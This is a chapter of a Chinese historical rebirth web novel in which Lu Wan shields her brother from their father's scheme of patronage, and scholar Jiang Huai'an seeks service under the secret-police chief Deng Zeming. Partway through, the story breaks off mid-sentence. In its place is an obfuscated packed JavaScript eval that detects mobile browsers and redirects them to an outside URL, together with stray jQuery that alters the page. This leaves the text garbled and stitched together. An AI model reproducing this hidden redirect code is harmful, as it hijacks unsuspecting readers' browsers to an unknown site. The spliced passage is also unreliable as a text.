暮色四合，金乌将坠，淡月新升。陆府上下的灯火也一盏接一盏地从回廊深处亮起。晚风卷着廊下灯盏的暖光拂过檐角的铜铃，轻碎作响。
陆晚此时刚自梅园归府，脸颊深处还残留着几分红晕，在温暖的灯光下更为醒目。她稍稍宁了宁心绪，强抑住心头的悸动，抬步朝着院落东面的那间书房走去。
书房的门半敞着，陆晚自外面的不远处站着，隐隐可以听见房内传来的争吵声。
“你是要气死我吗？你看看你春闱写的文章，什么《侠客论》，这是经世利民的文章吗？”
“我苦心栽培你，你倒好，非要去做什么侠客……”
“天下的路又不止一条，为何非要读书入仕呢？我就想仗剑天涯，一生逍遥自在，那该多好……”
“你给我住口！”
陆晚听得这声急呵后，暗道不妙，忙快步走进书房。果不其然，和前世里的场景一模一样，她的父亲正在为着兄长于春闱中胡乱作文一事生气，眉头紧蹙，眼底的失望之色溢于言表。
而她的兄长陆谦，虽跪在地上，却还是一副不识时务的模样：“父亲，你有你的抱负，我自然也有我的理想。我心胸狭隘，虽读了几本圣贤书，但到底只是个凡夫俗子。我就想快意江湖，难道就这么不可行吗？”
“孽障！”陆正一时没有注意到陆晚进房，对着自己这个不争气的儿子，简直是怒上心头，扬起手中的书卷正要丢在他的身上，却被一只纤白的细手给拦了下来。
陆正诧异地偏过头，只见自己的女儿对着他温然一笑：“父亲莫要生气，兄长年岁尚轻，贪玩了些，也是正常的。”
陆正平素最喜欢自家这个女儿，听了此话后，神色也渐渐和缓了些许，只是语气依旧严厉：“他今年已是弱冠之龄了，还和三岁小儿一样不知天高地厚，整日只知做着他的那些少侠梦。”
“你啊你，”陆正指着陆谦，长叹了一口气。而后背过身去，不自知地在青石板上来回踱步，似是有些发愁。
半晌，他才转身，沉声道：“辅臣苏文渊曾是我的门生，今年春试他也是主考官之一。你春试既然落选，我便舍了我这张老脸，到他那儿走点门道，让他向朝廷荐举你。”
单是听到苏文渊这个名字，就让陆晚出了一层薄汗。苏文渊，康定三十年的进士，后任吏部尚书、徐州知州等职。苏文渊与陆正年岁相近，但其仕途坎坷，三十多岁才中了个举人，不惑之年进士及第。后又因直言上谏被贬至岭南一带。他四十二岁的时候，建宁帝登基，被召回中央，成了内阁首辅陆正的门生。不满一年，便被陆正引荐入阁，如今已是内阁次辅。
若照这样说来，陆正是苏文渊的伯乐，他们二人合该惺惺相惜，志同道合。陆晚前世也一直这样认为，毕竟陆正在世时，苏文渊于她而言就是个温和慈祥的老伯伯。但是陆正去世后，弹劾陆正的那些奏疏便是苏文渊呈上的。他甚至亲自罗列了陆正的数项罪名，其中有一项便是称陆正滥用私权，胁迫他为其子谋得官位。
“父亲何苦如此执着，儿子无心于此，且又没有真才实学，怎能……”陆谦正要继续说下去，却见自己的妹妹对他做了个噤声的手势。他心中不解，却见那人已经笑着开口：“父亲，春闱每年都会举行，兄长今年落榜，明年依旧可以参加。但倘若因此求助他人，不仅有失公平，而且可能落下把柄。”
陆正闻言，思衬片刻后，深觉有理，便道：“这样也好。”他顿了顿，又用手指向跪着的陆谦道：“你这些日子好好给我呆在家温习诗书，若再敢出去乱跑，我就把你的腿给打断！”
“父亲——”
陆谦话未出口，便被陆晚截住：“父亲说的是，兄长，你这懒散贪玩的性子也该改改了，不然今后哪个姑娘敢嫁给你啊。”
陆谦被堵得有口难言，只得作罢，拂袖离开。
陆晚望着他离开的身影，忙笑着安抚了会儿正欲发怒的父亲：“父亲莫气，我去劝劝兄长。”
说罢，她便抬步跟了过去。陆谦似是在生着闷气，步伐很快，半晌便脱离了陆晚的视线。陆晚也不恼，她了解自家兄长的性子。
果不其然，她在院中的一棵枇杷树旁看到了抱膝而坐的陆谦。枇杷树，是母亲在世时栽种的，今已亭亭如盖。母亲过世的早，兄长又生性贪玩，总受父亲责备，兄长时常因此而郁郁不乐。故而他每次不开怀之时，往往就会在枇杷树旁坐上几个小时。
思及此，陆晚心底泛起几分酸涩。她在陆谦旁边坐下，语气柔和：“兄长就这么喜欢当侠客吗？”
“非常喜欢。我对江湖的向往就譬如父亲对变革的执着，”陆谦没有丝毫犹豫地应道：“阿晚，试想一下，若你也有一件毕生所求之事，旁人却让你放弃它，你能做到吗？”
陆晚一窒。隔着皎洁的月色，她再次细细打量了一番这位比自己年长四岁的兄长。
谦谦君子，卑以自牧。陆谦的容貌确实如他的姓名一样，有君子之姿。可奈何他不喜读四书五经，偏爱与江湖传闻有关的民间话本。他七岁那年，父亲就任杭州知府，正值匪徒多发之季。匪徒不满父亲干预，便抓了陆谦以威胁父亲。匪徒藏身之地偏僻险峻，官兵需要搜寻许久。正当年幼的陆谦倍感绝望，苦苦煎熬之时，是一位侠客救了他。
自此，陆谦便立下了成为一名剑侠的志向。不过，前世因为父亲的百般阻挠以及陆晚潜意识里对侠客身份的排斥，陆谦无奈之下，只好按照父亲所规划的那般，通过苏文渊的引荐顺利入仕。前世里，陆谦为官后也是郁郁寡欢，几乎磨灭了他所有的少年心性，后来又在陆家没落后被关进诏狱，受尽酷刑而亡。
那么这一世呢……
陆晚拢了拢思绪，正色道：“兄长，我无意干涉你的志向。只是任何一份追求，都需要做好充分的准备。你若想仗剑天涯，也需得有谋生的能力。不然，岂不得活活饿死？”
“这个自然，”陆谦听到她并不介怀自己的志愿后，眉目瞬时开朗：“我已经想好了，若是父亲当真松口，我便一边行商一边游历江湖……”
陆晚凝望着他满怀希冀的笑颜，一时想起了她的父亲和江淮安。想必他们在推行新政之时，对于未来也是有诸多美好的展望吧。只可惜……
想起今日梅园与那人的对话，陆晚的眼神黯了一瞬。她强忍住心头的不安，继续宽慰自己的兄长：“兄长，你若是真的下定决心，做好了打算，我必会劝说父亲支持你。”
此时此刻，承天门外，千步
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362441|183750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
廊西侧的北镇抚司衙门内的一间值房里，北镇抚司使邓则明正在接见一位不速之客。他刚刚才刑讯完一位犯人，官服上还残余着些许犯人溅上来的血污。
邓则明漠然地看向这位孤身前来的文弱书生，嘴角浮过一抹冷笑：“怎么？北镇抚司这样一个阎罗殿，也有人肯屈尊前来光顾？”
江淮安面色不变，只作揖行礼：“江某见过邓大人，江某今日求见大人，只为一事。”
“哦？”邓则明略微扬眉，似是来了兴趣，起身逼近道：“何事？”
江淮安并未后退，平静道：“江某平素钦佩大人才华，又有尽忠陛下之志，愿入北镇抚司当差，誓死追随大人。”
邓则明脸色一僵。不过片刻，他的神色便恢复如常，眼底情绪莫测：“本司使记得，你叫江淮安，寒门出身，江陵人士。今年春闱一举夺魁，名冠燕京，前途无量。你不日又将参加殿试，届时必成朝廷新贵，怎么想着要来北镇抚司当个酷吏呢？”
“自古酷吏治贪官。江某虽熟读圣贤书十几载，却始终对‘公道’二字心存疑惑。有些儒生文章做得极好，却在为官后初心尽失，四处盘剥百姓。江某不耻此等行径，也已厌倦了尽写些锦绣文章来博得一个贤名的日子，只愿跟随大人，以刑罚求证‘公道’二字。”
邓则明听闻此话后，良久无言。许久过后，他才开口，声音暗哑：“你真的认为北镇抚司可以求得你所想要的公道吗？北镇抚司施行私刑，只尊天子之令，且手段残忍，常为世人所不耻。”
“只要结果正义，过程残酷并不重要。”
其实这句话江淮安本人并不认同，但他此刻必须这么说。因为，上辈子，江淮安为了给陆家求情，与陆正的门生亲信一起被关进诏狱，深受折磨时，他曾咬牙问邓则明何为公道。邓则明当时回的便是这句话。
那时，江淮安只觉他在诡辩。毕竟诏狱是天子施以私刑的地方，自然谈不上公允。但后来，江淮安任首辅后，因为想要延续新政，被许多贵族施压。那时的建宁帝已经不再处理朝政了，朝中之事都由内阁主管。
江淮安为了扫清新政障碍，便联合司礼监与北镇抚司的人，利用刑讯手段对忤逆新政之人加以威慑。在此期间，他与邓则明也有一些交情。
客观来看，邓则明此人并非一个十恶不赦的酷吏。他虽手段残酷，可缉捕的也确确实实是一些贪官。邓则明也坦言，自己是建宁帝一手提拔过来的，视其为恩主，从不忤逆其召令。但直到陆家没落，赋税变革被废止，亲眼目睹民不聊生的现状后，他才自觉悔恨。
说实话，江淮安后来之所以能顺利推行新政，也离不开北镇抚司的帮助。只可惜，后来他被判凌迟，邓则明也被流放潮州，毕生不得返京。
邓则明的目光直直地落在江淮安身上，像是要把面前人的表皮剥个干干净净。良久，他才启口：“此时，我需回禀陛下，你且在家等消息吧。”
“多谢邓大人，既如此，江某便先行告退，不打搅大人休息了。”江淮安心下忙松了一口气，正要抬步离开，却听得身后那人又唤道：“弃一身贤名以入诏狱，你真的不后悔吗？”
江淮安停下脚步，转过身来，朝那人淡然一笑，落下两个字：“不悔。”